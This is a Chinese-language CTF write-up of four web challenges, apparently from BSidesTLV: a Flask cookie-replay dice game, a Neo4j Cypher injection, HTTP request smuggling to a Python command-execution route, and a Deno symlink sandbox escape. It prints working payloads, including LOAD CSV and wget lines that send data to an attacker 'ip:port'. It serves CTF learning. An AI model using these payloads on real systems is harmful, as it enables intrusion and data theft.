roll_the_impossible
脑洞题,非常无语
给了源码,是个flask,关键逻辑在下面:
from flask import session import flag import random CTX_FIELDS = ["question", "num"] NUM_DIGITS = 10 FISH_IN_SEA = 3500000000000 # thanks wikipedia QUESTIONS_LIST = {"roll a negative number": lambda num: int(num) < 0, "roll a number that is divisable by 10": lambda num: int(num) % 10 == 0, "roll a number that contains only ones": lambda num: all(x == "1" for x in num), "roll the number of fish in the sea": lambda num: int(num) == random.randrange(FISH_IN_SEA), "misdirection": lambda num: True} def is_context_exist(): return all(key in session for key in CTX_FIELDS) def init(): question = random.choice(list(QUESTIONS_LIST.keys())[:-1]) # init context, must contain all the fields in CTX_FIELDS session["question"] = question session["num"] = "" def step(): if not is_context_exist(): return {"num": "", "new_digit": "", "flag": "invalid session data"} # load data from the session question = session["question"] num = session["num"] _flag = "" new_digit = "" if len(num) < NUM_DIGITS: # roll a new digit and update the number new_digit = str(random.randrange(9)+1) num += new_digit if len(num) == NUM_DIGITS: if QUESTIONS_LIST[question](num): _flag = flag.FLAG else: _flag = "wrong :(" # store the changed data to the session session["num"] = num return {"num": num, "new_digit": new_digit, "flag": _flag}
原理分析:
这道题看上去很简洁,进去一个网页,告诉你你的挑战是什么,然后点击一个按钮摇骰子,每次摇出来的是1-9之间的一个数,根据逻辑,摇到10位的时候会进行判定,如果这个数符合你要完成的挑战就给flag
每次访问/的时候都会重新执行init,也就是重新选择挑战
一开始习惯性地就去想伪造cookie,因为有一个misdirection选项可以直接通过。但是有一个问题,伪造flask cookie需要secret_key,但是这里的secret_key是随机产生的
app.secret_key = os.getenv("SECRET_KEY", os.urandom(32))
直接调用系统的urandom函数是没有漏洞的,也就是secret_key我们不知道,尝试用flask unsign来爆破secret_key但是没用,cookie没法伪造。
惯性思维的锅。我们再看看那几个挑战,会发现roll a number that contains only ones和roll the number of fish in the sea其实都是可能完成的,只是概率太小。
但是我们可以用一个cookie反复试,反正flask也不存在cookie过期和secret_key更换的情况。
所以,做法如下:
首先刷挑战,刷出可以完成的两个之一(我选的全是1),然后把cookie拿到
接下来拿着cookie刷下一个数(intruder重放就行),把符合要求的cookie再复制进来再重放就可以了
最后拿到flag:
思路总结:
这道题其实就是一个惯性思维,一般给的挑战都是不可能完成,需要伪造cookie之类的。但是这道题就不是这样。
Pokedex
原理分析:
一进去,没发现什么利用点,直接抓包,发现一个search请求,判断是数据库注入。
经过测试,发现是neo4j数据库(根据报错),是java的一个数据库
首先要猜测语句找闭合,常用思路是单引号双引号括号的闭合
上网找了几篇基础教程,搭环境熟悉语法,再猜测闭合:
GET /search?q=')+RETURN+*//
接下来需要爆字段,neo4j数据库的结构是一个数据库,下面有多个不同类型(label)的节点,每个节点又有多个属性,属性对应着属性值。
搜索neo4j injection payload,以及neo4j语法官方文档,发现显示自定义结果就是两种方法:一个是利用LOAD CSV外带,一个是利用UNION联合查询
如何查出labels:
1.使用自带的db.labels()
CALL db.labels() YILED label AS label
但是这道题过滤了CALL,所以不能用。
2.对每个节点使用labels函数
labels(n)
联合查询是可以的,但是有一个限制,前后的字段名必须相同,来看看官方例子:
MATCH (n:Actor) RETURN n.name AS name UNION ALL MATCH (n:Movie) RETURN n.title AS name
我们并不知道前面的字段名,同时,下面这种形式也是不合法的
RETURN * AS result
通配符后面不能跟AS,所以如果用联合查询只能先猜前面的字段是pokemon才能做出来(估计是从题目提示得到的)
payload:
d') RETURN pokemon UNION MATCH (n) WITH {id:1, name:labels(n), type:'Fire', generation:99} as pokemon RETURN pokemon //
但是可以用外带,结合Cypher高级函数可以实现对所有label的列举,payload:
') RETURN [1,2,3] UNION MATCH (n) WHERE 1=1 AND labels(n)[0]<>"pokemon" LOAD CSV FROM 'http://ip:port/'+labels(n)[0] AS y RETURN [1,2,3]//
在第一个load fail之后,查询就会结束。只需要反复添加已经查到的label,就可以完成对所有label的查询。
查到label有两个:pokemon和flag,直接联合查询flag类型的所有属性以及属性值,我是直接使用的properties函数,最终payload:
') RETURN pokemon UNION MATCH(n:flag) WITH {id: null, name: properties(n), type: "Grass", generation: 1} AS pokemon return pokemon//
思路总结:
这种注入题,首先判断数据库类型,陌生类型需要本地搭建环境来测试,熟悉语法。搞清楚数据库结构;然后测试闭合,猜测语句,控制自定义部分;接下来按层次爆破信息,利用特殊的函数以及语法结构,注意被过滤的情况(特殊回显)
smuggler
原理分析:
给了源码,看结构,go的NewSingleHostReverseProxy做反向代理,python用的是werkzeug做后端处理,flask做服务器。
首先判断漏洞点,其实题目已经给了提示了,名字叫smuggler,关联的是http smuggle(请求走私)这种攻击方式。搜索http smuggle ctf查到相关资料。
见这两篇文章:一篇文章带你读懂 HTTP Smuggling 攻击 (unsafe.sh)
From a CTF question to HTTP request smuggling attack (programmer.group)
这种攻击方式,本质上是代理服务器和后端解析方式有差异。代理服务器认为整个包是一个请求发给后端,但是后端在解析的时候只认为其中的一部分是一个请求,剩余的部分应该是另一个请求,就完成了发送任意请求到内网的目的
来看看这道题,经过测试,python后端是不能直接访问执行命令路由的,应该是只开放了内网
@app.route('/') def run_cmd(): if 'cmd' in request.args: print(request.args['cmd']) os.system(request.args['cmd']) return 'OK'
考虑从go代理进行转发,但是go代理只设置了Put方法的controller,不能POST数据进行http请求走私(注意这里的targetURL应该是假的,只是示例)
func (this *MainController) Put() { targetURL := "http://python-microservice/" url, err := url.Parse(targetURL) if err != nil { panic(fmt.Sprintf("failed to parse the URL: %v", err)) } fmt.Println(url) proxy := httputil.NewSingleHostReverseProxy(url) fmt.Println(proxy) proxy.ServeHTTP(this.Ctx.ResponseWriter, this.Ctx.Request) }
题目中给了提示,用了beego框架,beego框架可以通过自定义_method参数来让POST请求通过PUT控制器进行处理
beego/router.go at 69c17fafbbfd796c7435d60b13f8d557c8850691 · beego/beego (github.com)
if r.Method == http.MethodPost && ctx.Input.Query("_method") == http.MethodPut { method = http.MethodPut }
所以,只需要加上_method=PUT的参数就可以使用PUT控制器进行转发了
werkzeug后端处理优先解析Transfer_Encoding头部(也就是遇到连续两个\r\n就认为请求结束),go代理优先解析Content-Length头部(解析到足够的body部分长度才认为请求结束),CL-TE型,payload如下:
POST /?_method=PUT HTTP/1.1 Host: smuggler.ctf.bsidestlv.com:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:99.0) Gecko/20100101 Firefox/99.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive X-HTTP-Method-Override: GET Upgrade-Insecure-Requests: 1 Transfer_Encoding: chunked Content-Length: 144 GET /?cmd=wget%20%22http%3A%2F%2Fip%3Aport%3F%60cat%20%2Fusr%2Fsrc%2Fapp%2Fflag.txt%20%7C%20base64%60%22 HTTP/1.1 Host: 127.0.0.1
思路总结:
这道题是一个没见过的攻击模式,通常是在代理和后端服务器对http头部解析有差异的情况下,没有完全按照RFC标准来解析产生的。这种攻击可以让攻击者发送任意请求到内网,直接访问到内网API;甚至可以控制下一个请求的开头,可以用于偷取别人的cookie伪造身份等。
Jurassic W0r1d
原理分析:
一进去就是一个执行页面,已经有console.log(Deno.readTextFileSync("./flag.txt"));执行发现报permission denied
看官方文档,发现读写文件的权限是由一开始的命令行决定的,见Permissions | Manual | Deno
没有根目录的读写权限,测试一下当前目录,发现有读写权限
const desc1 = { name: "read", path: "/foo" }; console.log(await Deno.permissions.query(desc1));
接下来没啥利用方向,直接搜CVE,与deno相关的CVE中CVE-2021-41641正好符合我们这道题的情况(其实会发现这个CVE正好就是出题人发现的...)
题目作者CVE:
Hackers Report | Deno File Sandbox Escape
利用软链接可以绕过沙箱,直接映射目录不大行,单独映射flag.txt是可以的
最终payload:
await Deno.symlink("/flag.txt", "./flag.txt"); console.log(await Deno.readTextFileSync("./flag.txt"));
思路总结:
常规想法,如果没啥利用思路可以去找CVE里面相关的漏洞,另外对于陌生的框架或者语言,官方文档和环境搭建一般是有用的
文章评论